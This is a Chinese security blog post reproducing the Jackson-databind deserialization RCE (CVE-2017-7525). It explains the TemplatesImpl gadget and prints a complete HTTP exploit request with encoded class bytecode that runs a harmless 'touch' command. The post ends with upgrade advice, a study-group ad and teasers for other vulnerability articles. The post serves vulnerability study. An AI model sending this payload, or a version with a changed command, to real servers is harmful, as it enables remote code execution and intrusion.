Jackson 反序列化遠程代碼執行漏洞復現

2021-02-18 Ms08067安全實驗室

本文作者:light(Ms08067實驗室 SRSP TEAM小組成員)


jackson介紹

Jackson是一個能夠將java對象序列化為JSON字符串,也能夠將JSON字符串反序列化為java對象的框架。是基於Java平臺的一套數據處理工具,被稱為」最好的Java Json解析器」。它可以使我們高效、簡便的處理json字符串。

序列化

序列化函數為databind.ObjectMapper。

當Jackson開啟某些配置時,會允許開發者在反序列化時指定要還原的類,過程中調用其構造方法setter方法或某些特殊的getter方法,當這些方法中存在一些危險操作時就造成了代碼執行。

Jackson核心模塊組成

jackson-core核心包用於提供基於"流模式"解析的相關API,它包括 JsonPaser和JsonGenerator。Jackson內部實現正是通過高性能的流模式 API的JsonGenerator和JsonParser來生成和解析json。

jackson-annotations,註解包,提供標準註解功能;

jackson-databind,數據綁定包,提供基於"對象綁定" 解析的相關 API(ObjectMapper)和"樹模型" 解析的相關API(JsonNode);基於"對象綁定" 解析的API和"樹模型"解析的API依賴基於"流模式"解析的API。

無回顯區分 Fastjson 和 Jackson

Fastjson要求不是很嚴格,所以當添加key時時不會報錯的, Jackson 因為強制 key 與 javabean 屬性對齊,只能少不能多 key,所以會報錯,伺服器的響應包中多少會有異常回顯。

CVE-2017-7525

Jackson-databind在設置 Target class 成員變量參數值時,若沒有對應的 getter 方法,則會使用 SetterlessProperty 調用 getter 方法,獲取變量,然後設置變量值。當調用 getOutputProperties() 方法時,會初始化transletBytecodes 包含字節碼的類,導致命令執行。使用JDK7u21的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作為Gadget,發送如下請求,將會執行touch/tmp/prove1.txt

數據包

POST /exploit HTTP/1.1Host: your-ip:8080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;x64) AppleWebKit/537.36 (KHTML, like Gecko)Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: wp-settings-time-1=1585830900;pro_end=-1; order=id%20desc; ltd_end=-1; memSize=3789; sites_path=/www/wwwroot;backup_path=/www/backup; uploadSize=1073741824; rank=a; Path=/www/wwwroot;serverType=apache; force=0; PHPSESSID=tip00ut1ikrhbti18c0lh88ge2;security=impossible;BT_PANEL_6=0984f72c-0cb3-43fc-b57c-f0520915f47e.JtL1_XK2M1R1GRJwE0njVzssKhs;request_token=KI57WHwixJfkegrcqLrE7DCexa8zjG7UYk4h7v6SwBBQ2KX0; pnull=1; p5=1;load_page=null; softType=-1; load_type=-1; load_search=undefinedConnection: closeContent-Type: application/jsonContent-Length: 1298 { "param": [   "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",    {     "transletBytecodes": [ "yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="     ],     "transletName": "a.b",     "outputProperties": {}    }  ]}

由於此漏洞為JDK7u21及以下版本環境中存在,故升級jdk版本及可防禦。

掃描下方二維碼加入星球學習

加入後會邀請你進入內部微信群,內部微信群永久有效!

  


相關焦點

  • fastjson 被曝存在遠程代碼執行漏洞,等級「高危」
    fastjson 當前版本為 1.2.68 發布於 3 月底,日前某安全運營中心監測到,fastjson <= 1.2.68 版本存在遠程代碼執行漏洞,漏洞被利用可直接獲取伺服器權限。360CERT 將漏洞等級定為「高危」。
  • 文庫 | 反序列化漏洞匯總
    因此,幾乎不可能預料到惡意數據的流動並堵塞(修復)每個潛在的漏洞。簡而言之,反序列化不受信任的輸入是不安全的。漏洞影響不安全的反序列化的影響可能非常嚴重,因為它為大規模增加攻擊面提供了切入點。它允許攻擊者以有害的方式重用現有的應用程式代碼,從而導致許多其他漏洞,通常是遠程執行代碼(RCE)。
  • Java安全之反序列化漏洞分析
    何來的漏洞之說?呵呵,意外往往就發生在不經意之間,如果反序列化過程中提供了命令執行的機會,那麼任意命令執行漏洞就產生了,如下我們在Session對象的readObject函數中增加了執行命令的代碼:以上就是Apache-CommonsCollections RCE漏洞的利用思路,該漏洞的實質是Apache-CommonsCollections為利用者提供了一系列可以構造行命令機會。但是聰明的你一定會問,上面的漏洞觸發條件並不是在反序列化函數readObject中實現的,怎麼能在反序列化中觸發POC的執行?好問題!
  • Java反序列化漏洞從理解到實踐
    利用某個反序列化漏洞。2. 自己手動創建利用載荷。更具體一點,首先我們會利用現有工具來實際操作反序列化漏洞,也會解釋操作的具體含義,其次我們會深入分析載荷相關內容,比如什麼是載荷、如何手動構造載荷等。完成這些步驟後,我們就能充分理解載荷的工作原理,未來碰到類似漏洞時也能掌握漏洞的處理方法。
  • Yii2 反序列化漏洞復現分析
    1、漏洞描述Yii是一套基於組件、用於開發大型Web應用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在調用unserialize() 時,攻擊者可通過構造特定的惡意請求執行任意命令。
  • PHP反序列化漏洞說明
    序列化可以將對象轉換成字符串,但僅保留對象裡的成員變量,不保留函數方法。PHP序列化的函數為serialize,反序列化的函數為unserialize.舉個慄子:<?反序列化反序列化就是序列化的逆過程,即對於將對象進行序列化後的字符串,還原其成員變量的過程。接上述慄子:<?
  • 「物聯網漏洞復現」TP-Link SR20 本地網絡遠程代碼執行漏洞
    TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物聯網協議可以用來當控制中樞 Hub 的觸屏 Wi-Fi 路由器,此遠程代碼執行漏洞允許用戶在設備上以 root 權限執行任意命令,該漏洞存在於 TP-Link 設備調試協議(TP-Link Device Debug Protocol 英文簡稱 TDDP) 中,TDDP 是 TP-Link 申請了專利的調試協議
  • 看代碼學安全(11) - unserialize反序列化漏洞
    漏洞解析:(上圖代碼第11行正則表達式應改為:』/O:d:/『)題目考察對php反序列化函數的利用。繞過了過濾以後,接下來考慮怎樣對反序列化進行利用,反序列化本質是將序列化的字符串還原成對應的類實例,在該過程中,我們可控的是序列化字符串的內容,也就是對應類中變量的值。我們無法直接調用類中的函數,但PHP在滿足一定的條件下,會自動觸發一些函數的調用,該類函數,我們稱為魔術方法。通過可控的類變量,觸發自動調用的魔術方法,以及魔術方法中存在的可利用點,進而形成反序列化漏洞的利用。
  • Fastjson 1.2.47 遠程命令執行漏洞
    話不多說,今天帶大家復現一下Fastjson1.2.47遠程命令執行漏洞。漏洞實現流程準備環境本次漏洞復現需要有三臺設備(兩臺也可以)主機A:模擬Fastjson漏洞環境(centos7)TouchFile.java (紅色處為遠程命令執行的代碼)import java.lang.Runtime;import java.lang.Process;public class TouchFile {static {
  • PHP反序列化漏洞簡介及相關技巧小結
    要學習PHP反序列漏洞,先了解下PHP序列化和反序列化是什麼東西。
  • PHP一些常見的漏洞梳理
    >#給定一串序列化後的字符將其反序列化並列印執行結果:3.php反序列化漏洞由於未對用戶輸入的序列化字符串進行檢測,導致攻擊者控制反序列化過程,從而導致代碼執行,SQL注入,目錄遍歷等不可控後果。漏洞觸發條件:unserialize函數的變量可控php文件中存在可利用的類類中有魔術方法。
  • JAVA反序列化—FastJson抗爭的一生
    (此時由於默認白名單的引入,漏洞危害大降)6.到了1.2.47通殺黑白名單漏洞,因為網上對於這個分析文有點過多。這邊想著直接正向來沒得意思。嘗試從代碼審計漏洞挖掘的角度去從零開始挖掘出這一條利用鏈。我們可以從maven倉庫中找到所有版本jar包,方便漏洞復現。
  • PHP反序列化筆記
    \x00 + 類名 + \x00 + 變量名 ‐> 反序列化為private變量\x00 + * + \x00 + 變量名 ‐> 反序列化為protected變量<?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}CVE-2016-7124漏洞介紹當序列化字符串中表示對象屬性個數的值大於真實的屬性個數時會跳過__wakeup的執行演示代碼
  • CVE-2020-14882&14883weblogic未授權命令執行漏洞復現
    概述10 月 21 日,Oracle 官方發布數百個組件的高危漏洞公告。其中組合利用 CVE-2020-14882/CVE-2020-14883 可使未經授權的攻擊者繞過 WebLogic 後臺登錄等限制,最終遠程執行代碼接管 WebLogic 伺服器,利用難度極低,風險極大。
  • NSA公布國內被高頻利用的25個漏洞
    2) CVE-2020-5902-在F5 BIG-IP代理和負載平衡器上,流量管理用戶界面(TMUI)(也稱為配置實用程序)在未公開頁面中具有遠程執行代碼(RCE)漏洞。3) CVE-2019-19781-Citrix應用程式交付控制器(ADC)和網關系統容易受到目錄遍歷漏洞的影響。這可能導致在沒有憑據的情況下遠程執行代碼。
  • 深入解讀:Windows HTTP.sys遠程代碼執行漏洞跟蹤進展
    2010-09-14 Microsoft IIS FastCGI請求頭遠程溢出漏洞(MS10-065)(CVE-2010-2730)描述:對於啟用了FastCGI功能的IIS伺服器,遠程攻擊者可以通過提交特製的HTTP請求觸發緩衝區溢出,導致執行任意代碼。攻擊者可以遠程執行任意代碼。2.
  • 原理+實踐掌握(PHP反序列化和Session反序列化)
    #a#重點:當反序列化字符串中,表示屬性個數的值大於真實屬性個數時,會繞過 __wakeup 函數的執行具體實例:百度杯——Hash前面的步驟就不再敘述,主要是為了學習反序列化的一些知識將得到的參數傳入即可得到另一段代碼,這裡主要學習反序列化的知識,後面的就不再寫了。
  • 關於Palo Alto GlobalProtect存在遠程代碼執行高危漏洞預警通報
    近日,Palo Alto Networks官方發布關於 GlobalProtect Portal/Gateway接口存在遠程代碼執行高危漏洞的公告。現將漏洞詳情通報如下:一、漏洞情況Palo Alto Networks是一家從事網絡安全的企業,其主要產品有下一代防火牆、SSL VPN等其他網絡安全產品。
  • php 序列化與反序列化
    drupal Remote Code Execution- SA-CORE-2019-003 遇到了php反序列化的問題,打算這篇文章寫一下php反序列化。 ' (length=10)可以看到__destruct方法在整個序列化過程結束時才會調用,調用的次數取決於序列化和反序列化的次數,__construct方法在new對象時調用,並不在序列化過程中調用,__wakeup和__sleep方法不再支持與調用 介紹完php序列化的基本內容,捎帶講一下常見的php序列化漏洞繞過: